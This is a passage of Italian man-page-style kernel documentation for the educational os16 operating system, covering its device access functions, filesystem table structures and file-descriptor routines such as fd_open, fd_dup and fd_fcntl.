`DEV_KMEM_PS`	r	diretto	Rappresenta la tabella contenente le informazioni sui processi. L'indirizzo di accesso indica il numero del processo di partenza; la dimensione da leggere dovrebbe essere abbastanza grande da contenere un processo, ma anche richiedendo una dimensione maggiore, se ne legge uno solo.
`DEV_KMEM_MMP`	r	sequenziale	Rappresenta la mappa della memoria, alla quale si può accedere solo dal suo principio. In pratica, l'indirizzo di accesso viene ignorato, mentre conta solo la quantità di byte richiesta.
`DEV_KMEM_SB`	r	diretto	Rappresenta la tabella dei super blocchi (per la gestione delle unità di memorizzazione). L'indirizzo di accesso serve a individuare il super blocco; la dimensione richiesta dovrebbe essere abbastanza grande da contenere un super blocco, ma anche richiedendo una dimensione maggiore, se ne legge uno solo.

Dispositivo	Lettura e scrittura r/w	Accesso diretto o sequenziale	Annotazioni
`DEV_KMEM_INODE`	r	diretto	Rappresenta la tabella degli inode (per la gestione delle unità di memorizzazione). L'indirizzo di accesso serve a individuare l'inode; la dimensione richiesta dovrebbe essere abbastanza grande da contenere un inode, ma anche richiedendo una dimensione maggiore, se ne legge uno solo.
`DEV_KMEM_FILE`	r	diretto	Rappresenta la tabella dei file (per la gestione delle unità di memorizzazione). L'indirizzo di accesso serve a individuare il file; la dimensione richiesta dovrebbe essere abbastanza grande da contenere le informazioni di un file, ma anche richiedendo una dimensione maggiore, se ne legge uno solo.
`DEV_CONSOLE`	r/w	sequenziale	Legge o scrive relativamente alla console attiva la quantità di byte richiesta, ignorando l'indirizzo di accesso.
`DEV_CONSOLE`***n***	r/w	sequenziale	Legge o scrive relativamente alla console ***n*** la quantità di byte richiesta, ignorando l'indirizzo di accesso.

Figura 95.38. Interdipendenza tra la funzione ***dev_io()*** e le altre. I collegamenti con le funzioni ***major()*** e ***minor()*** sono omesse.

dev_io()
dev_mem()
dev_tty()
dev_kmem()
dev_dsk()
mem_read()
mem_write()
in_8()
in_16()
out_8()
out_16()
tty_console()
tty_read()
tty_write()
proc_reference()
mb_reference()
sb_reference()
inode_reference()
file_reference()
memcpy()
dsk_read_bytes()
dsk_write_bytes()

104.1.1 os16: dev_io(9)

NOME

'**dev_io**' - interfaccia di accesso ai dispositivi

SINTASSI

```
<kernel/devices.h>
ssize_t dev_io (pid_t pid, dev_t device, int rw, off_t offset,
                void *buffer, size_t size, int *eof);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
`dev_t` ***device***	Dispositivo, in forma numerica.
`int` ***rw***	Può assumere i valori '**DEV_READ**' o '**DEV_WRITE**', per richiedere rispettivamente un accesso in lettura oppure in scrittura.
`off_t` ***offset***	Posizione per l'accesso al dispositivo.
`void *`***buffer***	Memoria tampone, per la lettura o la scrittura.
`size_t` ***size***	Quantità di byte da leggere o da scrivere.
`int *`***eof***	Puntatore a una variabile in cui annotare, eventualmente, il raggiungimento della fine del file.

DESCRIZIONE

La funzione ***dev_io()*** è un'interfaccia generale per l'accesso ai dispositivi gestiti da os16.

VALORE RESTITUITO

La funzione restituisce la quantità di byte letti o scritti effettivamente. In caso di errore restituisce il valore −1 e aggiorna la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`ENODEV`	Il numero del dispositivo non è valido.
`EIO`	Errore di input-output.

FILE SORGENTI

'`kernel/devices.h`' [105.2]

'`kernel/devices/dev_io.c`' [105.2.2]

VEDERE ANCHE

dev_dsk(9) [104.1.2], *dev_kmem(9)* [104.1.3], *dev_mem(9)* [104.1.4], *dev_tty(9)* [104.1.5].

104.1.2 os16: dev_dsk(9)

NOME

'**dev_dsk**' - interfaccia di accesso alle unità di memorizzazione di massa

SINTASSI

```
<kernel/devices.h>
ssize_t dev_dsk (pid_t pid, dev_t device, int rw, off_t offset,
                 void *buffer, size_t size, int *eof);
```

DESCRIZIONE

La funzione ***dev_dsk()*** consente di accedere alle unità di memorizzazione di massa, che per os16 si riducono ai soli dischetti da 1440 Kibyte.

Per il significato degli argomenti, il valore restituito e gli eventuali errori, si veda *dev_io(9)* [104.1.1].

FILE SORGENTI

'kernel/devices.h' [105.2]

'kernel/devices/dev_io.c' [105.2.2]

'kernel/devices/dev_dsk.c' [105.2.1]

104.1.3 os16: dev_kmem(9)

NOME

'**dev_kmem**' - interfaccia di accesso alle tabelle di dati del kernel, rappresentate in memoria

SINTASSI

```
<kernel/devices.h>
ssize_t dev_kmem (pid_t pid, dev_t device, int rw, off_t offset,
                  void *buffer, size_t size, int *eof);
```

DESCRIZIONE

La funzione ***dev_kmem()*** consente di accedere, solo in lettura, alle porzioni di memoria che il kernel utilizza per rappresentare alcune tabelle importanti. Per poter interpretare ciò che si ottiene occorre riprodurre la struttura di un elemento della tabella a cui si è interessati, pertanto occorre incorporare il file di intestazione del kernel che la descrive.

Dispositivo	Tabella a cui si riferisce
DEV_KMEM_PS	Si accede alla tabella dei processi, all'elemento rappresentato da ***offset***: ***proc_table[offset]***.
DEV_KMEM_MMP	Si accede alla mappa della memoria, ovvero la tabella ***mb_table[]***, senza considerare il valore di ***offset***.
DEV_KMEM_SB	Si accede alla tabella dei super blocchi, all'elemento rappresentato da ***offset***: ***sb_table[offset]***.
DEV_KMEM_INODE	Si accede alla tabella degli inode, all'elemento rappresentato da ***offset***: ***inode_table[offset]***.
DEV_KMEM_FILE	Si accede alla tabella dei file di sistema, all'elemento rappresentato da ***offset***: ***file_table[offset]***.

Per il significato degli argomenti della chiamata, per interpretare il valore restituito e gli eventuali errori, si veda *dev_io(9)* [104.1.1].

FILE SORGENTI

'`kernel/devices.h`' [105.2]

'`kernel/devices/dev_io.c`' [105.2.2]

'`kernel/devices/dev_kmem.c`' [105.2.3]

104.1.4 os16: dev_mem(9)

NOME

'**`dev_mem`**' - interfaccia di accesso alla memoria, in modo indiscriminato

SINTASSI

```
<kernel/devices.h>
ssize_t dev_mem (pid_t pid, dev_t device, int rw, off_t offset,
                 void *buffer, size_t size, int *eof);
```

DESCRIZIONE

La funzione ***dev_mem()*** consente di accedere, in lettura e in scrittura alla memoria e alle porte di input-output.

Dispositivo	Descrizione
DEV_MEM	Si tratta della memoria centrale, complessiva, dove il valore di ***offset*** rappresenta l'indirizzo efficace (complessivo) a partire da zero.
DEV_NULL	Si tratta di ciò che realizza il file di dispositivo tradizionale '`/dev/null`': la scrittura si perde semplicemente e la lettura non dà alcunché.
DEV_ZERO	Si tratta di ciò che realizza il file di dispositivo tradizionale '`/dev/zero`': la scrittura si perde semplicemente e la lettura produce byte a zero (zero binario).
DEV_PORT	Consente l'accesso alle porte di input-output. La dimensione rappresentata da ***size*** può essere solo pari a uno o due: una dimensione pari a uno richiede di comunicare un solo byte con una certa porta; una dimensione pari a due richiede la comunicazione di un valore a 16 bit. Il valore di ***offset*** serve a individuare la porta di input-output con cui si intende comunicare (leggere o scrivere un valore).

Per quanto non viene descritto qui, si veda *dev_io(9)* [104.1.1].

FILE SORGENTI

'`kernel/devices.h`' [105.2]

'`kernel/devices/dev_io.c`' [105.2.2]

'`kernel/devices/dev_mem.c`' [105.2.4]

104.1.5 os16: dev_tty(9)

NOME

'**`dev_tty`**' - interfaccia di accesso alla console

SINTASSI

```
<kernel/devices.h>
ssize_t dev_tty (pid_t pid, dev_t device, int rw, off_t offset,
                 void *buffer, size_t size, int *eof);
```

DESCRIZIONE

La funzione ***dev_tty()*** consente di accedere, in lettura e in scrittura, a una console virtuale, scelta in base al numero del dispositivo.

Quando la lettura richiede l'attesa per l'inserimento da tastiera, se il processo elaborativo ***pid*** non è il kernel, allora viene messo in pausa, in attesa di un evento legato al terminale.

Il sistema di gestione del terminale è molto povero con os16. Va osservato che il testo letto viene anche visualizzato automaticamente. Quando un processo non vuole mostrare il testo sullo schermo, deve provvedere a sovrascriverlo immediatamente, facendo arretrare il cursore preventivamente.

Per quanto non viene descritto qui, si veda *dev_io(9)* [104.1.1].

FILE SORGENTI

'`kernel/devices.h`' [105.2]

'`kernel/devices/dev_io.c`' [105.2.2]

'`kernel/devices/dev_tty.c`' [105.2.5]

104.2 os16: diag(9)

Il file '`kernel/diag.h`' [105.3] descrive alcune funzioni e macro-istruzioni, per uso diagnostico. Lo scopo di queste è di mostrare o di rendere visualizzabile alcune informazioni interne alla gestione del kernel.

Alcune di queste funzioni sono usate, altre no. Per esempio durante il funzionamento interattivo del kernel vengono usate ***print_proc_list()***, ***print_segments()***, ***print_kmem()***, ***print_time()*** e ***print_mb_map()***.

104.3 os16: fs(9)

Il file ‘kernel/fs.h’ [105.4] descrive ciò che serve per la gestione del file system, che per os16 corrisponde al tipo Minix 1.

La gestione del file system, a livello complessivo di sistema, è suddivisa in tre aspetti principali: super blocco, inode e file. Per ognuno di questi è prevista una tabella (di super blocchi, di inode e di file). Seguono delle figure che descrivono l'organizzazione di queste tabelle.

Figura 95.42. Struttura del tipo ‘**sb_t**’, corrispondente agli elementi dell'array ***sb_table[]***.


```
typedef struct sb        sb_t;

struct sb {
  uint16_t  inodes;
  uint16_t  zones;
  uint16_t  map_inode_blocks;
  uint16_t  map_zone_blocks;
  uint16_t  first_data_zone;
  uint16_t  log2_size_zone;
  uint32_t  max_file_size;
  uint16_t  magic_number;
  //-------------------------
  dev_t     device;
  inode_t  *inode_mounted_on;
  blksize_t blksize;
  int       options;
  uint16_t  map_inode[SB_MAP_INODE_SIZE];
  uint16_t  map_zone[SB_MAP_ZONE_SIZE];
  char      changed;
};
```

Figura 95.46. Struttura del tipo '**`inode_t`**', corrispondente agli elementi dell'array ***inode_table[]***.


```
typedef struct inode     inode_t;

struct inode {
    mode_t         mode;
    uid_t          uid;
    ssize_t        size;
    time_t         time;
    uint8_t        gid;
    uint8_t        links;
    zno_t          direct[7];
    zno_t          indirect1;
    zno_t          indirect2;
    //------------------------
    sb_t          *sb;
    ino_t          ino;
    sb_t          *sb_attached;
    blkcnt_t       blkcnt;
    unsigned char  references;
    char           changed;
};
```

Figura 95.52. Struttura del tipo '**`file_t`**', corrispondente agli elementi dell'array ***file_table[]***.


```
typedef struct file file_t;

struct file {
    int       references;
    off_t     offset;
    int       oflags;
    inode_t  *inode;
};
```

Figura 95.55. Struttura del tipo '**`fd_t`**', con cui si costituiscono gli elementi delle tabelle dei descrittori di file, una per ogni processo.

indicatori dello stato del file e delle modalità di accesso
indicatori del descrittore
riferimento alla tabella dei file di sistema

```
typedef struct fd fd_t;
struct fd {
    int     fl_flags;
    int     fd_flags;
    file_t *file;
};
```

104.3.1 os16: fd_chmod(9)

NOME

'**`fd_chmod`**' - cambiamento della modalità dei permessi di un descrittore di file

SINTASSI

```
<kernel/fs.h>
int fd_chmod (pid_t pid, int fdn, mode_t mode);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
`int` ***fdn***	Numero del descrittore di file.
`mode_t` ***mode***	Modalità dei permessi, di cui si prendono in considerazione solo i 12 bit meno significativi.

DESCRIZIONE

La funzione ***fs_chmod()*** cambia la modalità dei permessi del file aperto con il descrittore numero ***fdn***, secondo il valore contenuto nel parametro ***mode***, di cui però si considerano solo gli ultimi 12 bit. L'operazione viene svolta per conto del processo ***pid***, il quale deve avere i privilegi necessari per poter intervenire così. La modifica della modalità dei permessi raggiunge l'inode del file a cui fa capo il descrittore in questione; pertanto l'inode viene necessariamente salvato dopo la modifica. Il fatto che il descrittore di file possa essere stato aperto in sola lettura, non impedisce la modifica dell'inode attuata da questa funzione.

Questa funzione viene usata soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**`SYS_FCHMOD`**'. Nella libreria standard, si avvale di questa funzionalità *fchmod(2)* [98.4].

VALORE RESTITUITO

Valore	Significato
0	Operazione conclusa con successo.
−1	Operazione fallita, con aggiornamento della variabile ***errno*** del kernel.

ERRORI

Valore di *errno*	Significato
`EBADF`	Il descrittore di file ***fdn*** non è valido.
`EACCES`	Il processo elaborativo non ha i privilegi necessari nei confronti del file.

FILE SORGENTI

'`lib/sys/stat/fchmod.c`' [106.13.2]

'`kernel/proc.h`' [105.9]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs.h`' [105.4]

'`kernel/fs/fd_chmod.c`' [105.4.1]

VEDERE ANCHE

fchmod(2) [98.4], *sysroutine(9)* [104.8.28], *proc_reference(9)* [104.8.7].

104.3.2 os16: fd_chown(9)

«

NOME

'**`fd_chown`**' - cambiamento della proprietà di un descrittore di file

SINTASSI

```
<kernel/fs.h>
int fd_chown (pid_t pid, int fdn, uid_t uid, gid_t gid);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
`int` ***fdn***	Numero del descrittore di file.
`uid_t` ***uid***	Nuova proprietà che si intende attribuire al file.
`gid_t` ***gid***	Nuovo gruppo che si intenderebbe attribuire al file.

DESCRIZIONE

La funzione ***fs_chown()*** cambia la proprietà del file già aperto, individuato attraverso il suo descrittore. L'operazione viene svolta per conto del processo ***pid***, il quale deve avere i privilegi necessari per poter intervenire così: in pratica deve trattarsi di un processo con identità efficace pari a zero, perché os16 non considera la gestione dei gruppi. La modifica della proprietà raggiunge l'inode del file a cui fa capo il descrittore in questione;

pertanto l'inode viene necessariamente salvato dopo la modifica. Il fatto che il descrittore di file possa essere stato aperto in sola lettura, non impedisce la modifica dell'inode attuata da questa funzione.

Questa funzione viene usata soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**`SYS_FCHOWN`**'. Nella libreria standard, si avvale di questa funzionalità *fchown(2)* [98.4].

VALORE RESTITUITO

Valore	Significato
0	Operazione conclusa con successo.
−1	Operazione fallita, con aggiornamento della variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EBADF`	Il descrittore di file ***fdn*** non è valido.
`EACCES`	Il processo elaborativo non ha i privilegi necessari nei confronti del file.

FILE SORGENTI

'`lib/unistd/fchown.c`' [106.17.16]

'`kernel/proc.h`' [105.9]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs.h`' [105.4]

'`kernel/fs/fd_chown.c`' [105.4.2]

VEDERE ANCHE

fchown(2) [98.5], *sysroutine(9)* [104.8.28], *proc_reference(9)* [104.8.7].

104.3.3 os16: fd_close(9)

NOME

'**`fd_close`**' - chiusura di un descrittore di file

SINTASSI

```
<kernel/fs.h>
int fd_close (pid_t pid, int fdn);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
`int` ***fdn***	Numero del descrittore di file.

DESCRIZIONE

La funzione ***fd_close()*** chiude il descrittore di file specificato come argomento. Per ottenere questo risultato, oltre che intervenire nella tabella dei descrittori associata al processo elaborativo specificato come argomento, riduce il contatore dei riferimenti nella voce corrispondente della tabella dei file; se però questo contatore raggiunge lo zero, anche l'inode viene liberato, attraverso *inode_put(9)* [104.3.24].

Questa funzione viene usata in modo particolare da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**`SYS_CLOSE`**'. Nella libreria standard, si avvale di questa funzionalità *close(2)* [98.7]. La funzione '**`fd_close`**' è comunque usata internamente al kernel, in tutte le occasioni in cui la chiusura di un descrittore deve avvenire in modo implicito.

VALORE RESTITUITO

Valore	Significato
0	Operazione conclusa con successo.
−1	Operazione fallita, con aggiornamento della variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EBADF`	Il descrittore di file ***fdn*** non è valido.

FILE SORGENTI

'`lib/unistd/close.c`' [106.17.5]

'`kernel/proc.h`' [105.9]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs.h`' [105.4]

'`kernel/fs/fd_close.c`' [105.4.3]

VEDERE ANCHE

close(2) [98.7], *sysroutine(9)* [104.8.28], *inode_put(9)* [104.3.24].

104.3.4 os16: fd_dup(9)

NOME

'**`fd_dup`**', '**`fd_dup2`**' - duplicazione di un descrittore di file

SINTASSI

```
<kernel/fs.h>
int fd_dup  (pid_t pid, int fdn_old, int fdn_min);
int fd_dup2 (pid_t pid, int fdn_old, int fdn_new);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
`int` ***fdn_old***	Numero del descrittore di file da duplicare.
`int` ***fdn_min***	Primo numero di descrittore da usare per la copia.
`int` ***fdn_new***	Numero di descrittore da usare per la copia.

DESCRIZIONE

Le funzioni ***fd_dup()*** e ***fd_dup2()*** duplicano un descrittore, nel senso che sdoppiano l'accesso a un file in due descrittori. La funzione ***fd_dup()***, per il duplicato da realizzare, cerca un descrittore libero, cominciando da ***fdn_min*** e continuando progressivamente, fino al primo disponibile. La funzione ***fd_dup2()***, invece, richiede di specificare esattamente il descrittore da usare per il duplicato, con la differenza che, se ***fdn_new*** è già utilizzato, prima della duplicazione viene chiuso.

In entrambi i casi, il descrittore ottenuto dalla copia, viene privato dell'indicatore '**`FD_CLOEXEC`**', ammesso che nel descrittore originale ci fosse.

Queste funzioni vengono usate da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**`SYS_DUP`**' e '**`SYS_DUP2`**'. Inoltre, la funzione *fd_fcntl(9)* [104.3.6] si avvale di ***fd_dup()*** per la duplicazione di un descrittore. Le funzioni della libreria standard che si avvalgono delle chiamate di sistema che poi raggiungono ***fd_dup()*** e ***fd_dup2()*** sono *dup(2)* [98.8] e *dup2(2)* [98.8].

VALORE RESTITUITO

Le due funzioni restituiscono il numero del descrittore prodotto dalla duplicazione. In caso di errore, invece, restituiscono il valore -1, aggiornando la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Il valore di ***fdn_min*** o ***fdn_new*** è impossibile.
`EBADF`	Il valore di ***fdn_old*** non è valido.
`EMFILE`	Non è possibile allocare un nuovo descrittore.

FILE SORGENTI

'`lib/unistd/dup.c`' [106.17.6]

'`lib/unistd/dup2.c`' [106.17.7]

'`kernel/proc.h`' [105.9]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs.h`' [105.4]

'`kernel/fs/fd_dup.c`' [105.4.4]

'kernel/fs/fd_dup2.c' [105.4.5]

VEDERE ANCHE

dup(2) [98.8], *dup2(2)* [98.8], *sysroutine(9)* [104.8.28], *proc_reference(9)* [104.8.7].

104.3.5 os16: fd_dup2(9)

Vedere *fd_dup(9)* [104.3.4].

104.3.6 os16: fd_fcntl(9)

NOME

'**fd_fcntl**' - configurazione e intervento sui descrittori di file

SINTASSI

```
<kernel/fs.h>
int fd_fcntl (pid_t pid, int fdn, int cmd, int arg);
```

ARGOMENTI

Argomento	Descrizione
pid_t ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
int ***fdn***	Numero del descrittore a cui si fa riferimento.
int ***cmd***	Comando di ***fd_fcntl()***.
int ***arg***	Argomento eventuale del comando.

DESCRIZIONE

La funzione ***fd_fcntl()*** esegue un'operazione, definita dal parametro ***cmd***, sul descrittore ***fdn***. A seconda del tipo di operazione richiesta, può essere preso in considerazione anche l'argomento corrispondente al parametro ***arg***. Il valore del parametro ***cmd*** che rappresenta l'operazione richiesta, va fornito in forma di costante simbolica, come descritto nell'elenco seguente. Tali macro-variabili derivano dalle dichiarazioni contenute nel file 'lib/sys/fcntl.h'.

Sintassi	Descrizione
`fd_fcntl` (***pid***, ***fdn***, `F_DUPFD`, `(int)` ***fdn_min***)	Richiede la duplicazione del descrittore di file ***fdn***, in modo tale che la copia abbia il numero di descrittore minore possibile, ma maggiore o uguale a quello indicato come argomento ***fdn_min***.
`fd_fcntl` (***pid***, ***fdn***, `F_GETFD, 0`) `fd_fcntl` (***pid***, ***fdn***, `F_SETFD`, `(int)` ***fd_flags***)	Rispettivamente, legge o imposta, gli indicatori del descrittore di file ***fdn*** (eventualmente noti come *fd flags*). È possibile impostare un solo indicatore, '**`FD_CLOEXEC`**', pertanto, al posto di ***fd_flags*** si può mettere solo la costante '**`FD_CLOEXEC`**'.
`fd_fcntl` (***pid***, ***fdn***, `F_GETFL, 0`) `fd_fcntl` (***pid***, ***fdn***, `F_SETFL`, `(int)` ***fl_flags***)	Rispettivamente, legge o imposta, gli indicatori dello stato del file, relativi al descrittore ***fdn***. Per impostare questi indicatori, vanno combinate delle costanti simboliche: '**`O_RDONLY`**', '**`O_WRONLY`**', '**`O_RDWR`**', '**`O_CREAT`**', '**`O_EXCL`**', '**`O_NOCTTY`**', '**`O_TRUNC`**'.

Questa funzione viene usata soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**`SYS_FCNTL`**'. La funzione della libreria standard che si avvale della chiamata di sistema che poi raggiunge ***fd_fcntl()*** è *fcntl(2)* [98.13].

VALORE RESTITUITO

Il significato del valore restituito dalla funzione dipende dal tipo di operazione richiesta, come sintetizzato dalla tabella successiva.

Operazione richiesta	Significato del valore restituito
`F_DUPFD`	Si ottiene il numero del descrittore prodotto dalla copia, oppure −1 in caso di errore.
`F_GETFD`	Si ottiene il valore degli indicatori del descrittore (*fd flags*, oppure −1 in caso di errore.
`F_GETFL`	Si ottiene il valore degli indicatori del file (*fl flags*, oppure −1 in caso di errore.

`F_GETOWN`
`F_SETOWN`
`F_GETLK`
`F_SETLK`
`F_SETLKW`
	Si ottiene −1, in quanto si tratta di operazioni non realizzate in questa versione della funzione, per os16.

altri tipi di operazione	Si ottiene 0 in caso di successo, oppure −1 in caso di errore.

ERRORI

Valore di *errno*	Significato
`EBADF`	Il descrittore di file non è valido.
`EINVAL`	È stato richiesto un tipo di operazione non valido.
`EMFILE`	Non è possibile duplicare il descrittore, perché non ce ne sono di liberi.

FILE SORGENTI

'`lib/fcntl/fcntl.c`' [106.4.2]

'`kernel/proc.h`' [105.9]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs.h`' [105.4]

'`kernel/fs/fd_fcntl.c`' [105.4.6]

VEDERE ANCHE

fcntl(2) [98.13], *sysroutine(9)* [104.8.28], *proc_reference(9)* [104.8.7], *fd_dup(9)* [104.3.4].

104.3.7 os16: fd_lseek(9)

NOME

'**`fd_lseek`**' - riposizionamento dell'indice di accesso a un descrittore di file

SINTASSI

```
<kernel/fs.h>
off_t fd_lseek (pid_t pid, int fdn, off_t offset, int whence);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
`int` ***fdn***	Numero del descrittore a cui si fa riferimento.
`int` ***cmd***	Comando di ***fd_fcntl()***.
`off_t` ***offset***	Scostamento, positivo o negativo, a partire dalla posizione indicata da ***whence***.
`int` ***whence***	Punto di riferimento iniziale a cui applicare lo scostamento.

DESCRIZIONE

La funzione ***fd_lseek()*** consente di riposizionare l'indice di accesso interno al descrittore di file ***fdn***. Per fare questo occorre prima determinare un punto di riferimento, rappresentato dal parametro ***whence***, dove va usata una macro-variabile definita nel file '`lib/unistd.h`'. Può trattarsi dei casi seguenti.

Valore di ***whence***	Significato
`SEEK_SET`	lo scostamento si riferisce all'inizio del file.
`SEEK_CUR`	lo scostamento si riferisce alla posizione che ha già l'indice interno al file.
`SEEK_END`	lo scostamento si riferisce alla fine del file.

Lo scostamento indicato dal parametro ***offset*** si applica a partire dalla posizione a cui si riferisce ***whence***, pertanto può avere segno positivo o negativo, ma in ogni caso non è possibile collocare l'indice prima dell'inizio del file.

Questa funzione viene usata soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**`SYS_LSEEK`**'. La funzione della libreria standard che si avvale della chiamata di sistema che poi raggiunge ***fd_lseek()*** è *lseek(2)* [98.24].

VALORE RESTITUITO

Se l'operazione avviene con successo, la funzione restituisce il valore dell'indice riposizionato, preso come scostamento a partire dall'inizio del file. In caso di errore, restituisce invece il valore -1, aggiornando di conseguenza anche la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EBADF`	Il numero del descrittore di file non è valido.
`EINVAL`	Il valore di ***whence*** non è contemplato, oppure la combinazione tra ***whence*** e ***offset*** non è valida.

FILE SORGENTI

'`lib/unistd/lseek.c`' [106.17.27]

'`kernel/proc.h`' [105.9]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs.h`' [105.4]

'`kernel/fs/fd_lseek.c`' [105.4.7]

VEDERE ANCHE

lseek(2) [98.24], *sysroutine(9)* [104.8.28], *fd_reference(9)* [104.3.10].

104.3.8 os16: fd_open(9)

NOME

'**fd_open**' - apertura di un file puro e semplice oppure di un file di dispositivo

SINTASSI

```
<kernel/fs.h>
int fd_open (pid_t pid, const char *path, int oflags, mode_t mode);
```

ARGOMENTI

Argomento	Descrizione
pid_t ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
char ****path***	Il percorso assoluto del file da aprire.
int ***oflags***	Opzioni di apertura.
mode_t ***mode***	Tipo di file e modalità dei permessi, nel caso il file debba essere creato contestualmente.

DESCRIZIONE

La funzione ***fd_open()*** apre un file, indicato attraverso il percorso ***path***, in base alle opzioni rappresentate dagli indicatori ***oflags***. A seconda del tipo di indicatori specificati, il parametro ***mode*** potrebbe essere preso in considerazione.

Quando la funzione porta a termine correttamente il proprio compito, restituisce il numero del descrittore del file associato, il quale è sempre quello di valore più basso disponibile per il processo elaborativo a cui ci si riferisce.

Il parametro ***oflags*** richiede necessariamente la specificazione della modalità di accesso, attraverso la combinazione appropriata dei valori: '**O_RDONLY**', '**O_WRONLY**', '**O_RDWR**'. Inoltre, si possono combinare altri indicatori: '**O_CREAT**', '**O_TRUNC**', '**O_APPEND**'.

Opzione	Descrizione
O_RDONLY	Richiede un accesso in lettura.
O_WRONLY	Richiede un accesso in scrittura.
O_RDWR O_RDONLY|O_WRONLY	Richiede un accesso in lettura e scrittura (la combinazione di '**R_RDONLY**' e di '**O_WRONLY**' è equivalente all'uso di '**O_RDWR**').
O_CREAT	Richiede di creare contestualmente il file, ma in tal caso va usato anche il parametro ***mode***.
O_TRUNC	Se file da aprire esiste già, richiede che questo sia ridotto preventivamente a un file vuoto.
O_APPEND	Fa in modo che le operazioni di scrittura avvengano sempre partendo dalla fine del file.

Quando si utilizza l'opzione ***O_CREAT***, è necessario stabilire la modalità dei permessi, attraverso la combinazione di macro-variabili appropriate, come elencato nella tabella

successiva. Tale combinazione va fatta con l'uso dell'operatore OR binario; per esempio: '**S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH**'. Va osservato che os16 non gestisce i gruppi di utenti, pertanto, la definizione dei permessi relativi agli utenti appartenenti al gruppo proprietario di un file, non ha poi effetti pratici nel controllo degli accessi per tale tipo di contesto.

Modalità simbolica	Modalità numerica	Descrizione
S_IRWXU	00700_8	Lettura, scrittura ed esecuzione per l'utente proprietario.
S_IRUSR	00400_8	Lettura per l'utente proprietario.
S_IWUSR	00200_8	Scrittura per l'utente proprietario.
S_IXUSR	00100_8	Esecuzione per l'utente proprietario.

Modalità simbolica	Modalità numerica	Descrizione
S_IRWXG	00070_8	Lettura, scrittura ed esecuzione per il gruppo.
S_IRGRP	00040_8	Lettura per il gruppo.
S_IWGRP	00020_8	Scrittura per il gruppo.
S_IXGRP	00010_8	Esecuzione per il gruppo.

Modalità simbolica	Modalità numerica	Descrizione
S_IRWXO	00007_8	Lettura, scrittura ed esecuzione per gli altri utenti.
S_IROTH	00004_8	Lettura per gli altri utenti.
S_IWOTH	00002_8	Scrittura per gli altri utenti.
S_IXOTH	00001_8	Esecuzione per gli altri utenti.

Questa funzione viene usata principalmente da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**SYS_OPEN**'. La funzione della libreria standard che si avvale della chiamata di sistema che poi raggiunge ***fd_open()*** è *open(2)* [98.28].

VALORE RESTITUITO

La funzione restituisce il numero del descrittore del file aperto, se l'operazione ha avuto successo, altrimenti dà semplicemente −1, impostando di conseguenza il valore della variabile ***errno*** del kernel.

ERRORI

Valore di *errno*	Significato
`EINVAL`	Gli argomenti forniti alla chiamata non sono validi per qualche ragione.
`EPERM`	Operazione non consentita.
`EEXIST`	Il file da creare esiste già.
`EACCES`	Accesso non consentito.
`ENOENT`	Il file non esiste, oppure non esiste il percorso che porta al file da creare.
`EROFS`	Avendo richiesto un accesso in scrittura, si ottiene che il file system che lo contiene consente soltanto un accesso in lettura.
`ENOTDIR`	Il percorso che porta al file da aprire non è valido, in quanto ciò che dovrebbe essere una directory, non lo è.
`ENFILE`	Non si possono aprire altri file nell'ambito del sistema operativo (il sistema ha raggiunto il limite).
`EMFILE`	Non si possono aprire altri file nell'ambito del processo in corso.

FILE SORGENTI

'`lib/fcntl/open.c`' [106.4.3]

'`kernel/proc.h`' [105.9]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs.h`' [105.4]

'`kernel/fs/fd_open.c`' [105.4.8]

VEDERE ANCHE

open(2) [98.28], *sysroutine(9)* [104.8.28], *proc_reference(9)* [104.8.7], *path_inode(9)* [104.3.36], *path_full(9)* [104.3.35], *path_inode_link(9)* [104.3.37], *inode_truncate(9)* [104.3.28], *inode_check(9)* [104.3.16], *file_reference(9)* [104.3.13], *fd_reference(9)* [104.3.10].

104.3.9 os16: fd_read(9)

NOME

'**`fd_read`**' - lettura di descrittore di file

SINTASSI

```
<kernel/fs.h>
ssize_t fd_read (pid_t pid, int fdn, void *buffer, size_t count,
                 int *eof);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
